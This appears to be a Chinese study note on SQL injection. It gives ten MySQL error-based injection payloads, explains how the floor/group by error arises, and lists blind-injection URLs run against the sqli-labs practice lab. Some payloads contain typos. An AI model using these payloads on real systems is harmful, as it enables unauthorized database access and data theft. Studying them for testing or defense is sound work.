Abstract: SQL 盲注

Table of Contents

  1. URL 注释
  2. 十种 MySQL 报错注入
  3. SQL 盲注

URL 注释

  1. -- | 空格后面可以跟上任何字符
  2. --+ URL 中会把 + 解析为空格
  3. # 识别为锚点

GET 参数会被 url 编码,但 POST 参数不会被 url 编码,请求头也不会编码。

整型 id=26-1可以用,但 id=3+9 却不能用,因为 + 解析为空格。

符号 url 编码
空格 %20
%27
# %23
%22
% %25
& %26
/ %2F

十种 MySQL 报错注入

  1. floor()
1
select * from test where id=1 and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a);

floor() 报错注入准确地说应该是 floorcountgroup by 冲突报错。特定情况下,三个函数在一起使用会产生错误。

经典的 floor 注入语句:

1
and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a);

首先看 floor() 报错产生条件:

1
select count(*), concat(database(), floor(rand(0)*2))x from security.users group by x

语句中 x 是给 floor(rand(0)*2)添加一个别名,执行该语句得到:

1
!#1062 - Duplicate entry 'security1' for key '<group_key>'

floor() 报错原理分析:

1
select count(), floor(rand(0)*2) as x from information_schema_tables groupby a;

重点在 group by a ,即 group by floor(rand(0)*2)。首先,floor(rand(0)*2) 意思是随机产生 0 或 1。虽说是随机的,但有规律可循,基本上是 011011这个序列。

为什么报错?

首先,系统会建立一个虚拟表:

key count(*)

假设有表:

id name age
1 11 18
2 22 19
3 33 20
4 44 20
5 55 18

执行 count(*) from ... group by age 的过程中,会形成这样的虚拟表:

key count(*)
18 2
19 1
20 2

那么这个表是如何形成的?由于 group by 的是 age,第一次读取的是 18 ,在虚拟表中寻找是否已经存在 18 ,由于表是空的,直接插入一条新数据,这时虚拟表变成这样:

key count(*)
18 1

下一个时 19 ,由于虚拟表中依旧没有 key 为 19 的字段,故插入。再插入 20 ,和 19 的情况一样,当继续插入 第二个 20 时,由于已经有了 20 ,故将 key 为 20 的字段的 count(*) 的值加 1,依次类推,形成最后的虚拟表:

key count(*)
18 2
19 1
20 2

如何将 group byfloor 联合起来,进行 floor 报错?

1
select count(), floor(rand(0)*2) as a from information_schema.tables group by a;

group by 的是 floor(rand(0)*2) 每次运算的值都是随机的,首先,建立一张虚拟表,

key count(*)

接着,进行 group by floor(rand(0)*2) 。floor 表达式第一次运算的值为 0 ,在表中没有找到 key 为 0 的数据,故插入,在插入过程中需要再取一次 group by 后面的值,即在执行一次 floor 运算,结果为 1,取到了 1 ,插入数据,并将 count() 置 1.

key count(*)
1 1

再进行 group by floor(rand(0)2),表为

key count(*)
1 2

执行到第四次 floor 运算时,这次值为 0 ,表中没有找到 key 为 0 的数据,故应当插入一条新数据,插入时,进行 floor 运算,这时值为 1,将 count(*) 置 1 。但虚拟表中已经有了 key 为 1数据,故此时会抛出主键冗余的异常,这就是所谓的 floor 报错。

1
select * from test where id=1 and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a);
  1. extractvalue()
1
select * from test where id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)));
  1. updatexml()
1
select * from test where id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1));
  1. geometrycollection()
1
select * from test where id=1 and geometrycollection((select * from(select * from(select user())a)b));
  1. multipoint()
1
select * from test where id=1 and multipoint((select * from(select * from(select user())a)b));
  1. polygon()
1
select * from test where id=1 and polygon((select * from(select * from(select user())a)b));
  1. multipolygon()
1
select * from test where id=1 and multipolygon((select * from(select * from(select user())a)b));
  1. linestring()
1
select * from test where id=1 and linestring((select * from(select * from(select user())a)b));
  1. exp()
1
select * from test where id=1 and exp(~(select * from(select user())a));
  1. multilinestring()
1
select * from test where id=1 and multilinestring((select * from(select * from(select user())a)b));

其中,对于 mariadb ,方法 1-3 适用,mysql 8.0 方法 2-3 可用,mysql 5.0 方法 1-9 适用。

SQL 盲注

盲注流程:

  1. 先判断总数
  2. 判断单个长度
  3. 逐个字符判断名称,二分法

常用函数

函数 功能
ascii(‘A’) 查看 ASCII 码
char(100) 通过 ASCII 码,查看字符
substr/mid(str, start,length) 截取字符
length(string) 计算字符串长度
count( ) 统计个数

常用命令

1
2
# 库名
http://192.168.100.52/sqli-labs/Less-8/?id=1' and select group_concat(schema_name) from information_schema.schemata --+
1
2
# 库名长度
http://192.168.100.52/sqli-labs/Less-8/?id=1' and length((select group_concat(schema_name) from information_schema.schemata)) > 50 --+
1
2
# 判断各个字符 ASCII
http://192.168.100.52/sqli-labs/Less-8/?id=1' and ascii(mid((select group_concat(schema_name) from information_schema.schemata), 1, 1)) > 50 --+
1
http://192.168.100.52/sqli-labs/Less-8/?id=1'and (select count(distinct schema_name) from information_schema.schemata) > 3 ——+
1
http://192.168.100.52/sqli-labs/Less-8/?id=1' and mid((select distinct schema_name from information_schema.schemata limit 0,1), 1, 1) > 50 --+
1
2
# 查看当前数据中有几张表
http://192.168.100.52/sqli-labs/Less-8/?id=1' and (select count(table_name) from information_schema.tables where table_schema = database()) > 1 --+
1
2
# 查看一张表的名字
http://192.168.100.52/sqli-labs/Less-8/?id=1' and length((select table_name from information_schema.tables where table_schema = database() limit 0,1)) > 1 --+
1
http://192.168.100.52/sqli-labs/Less-8/?id=1' and ascii(mid((select table_name from information_schema.tables where table_schema = database() limit 0,1), 1, 1)) > 100 --+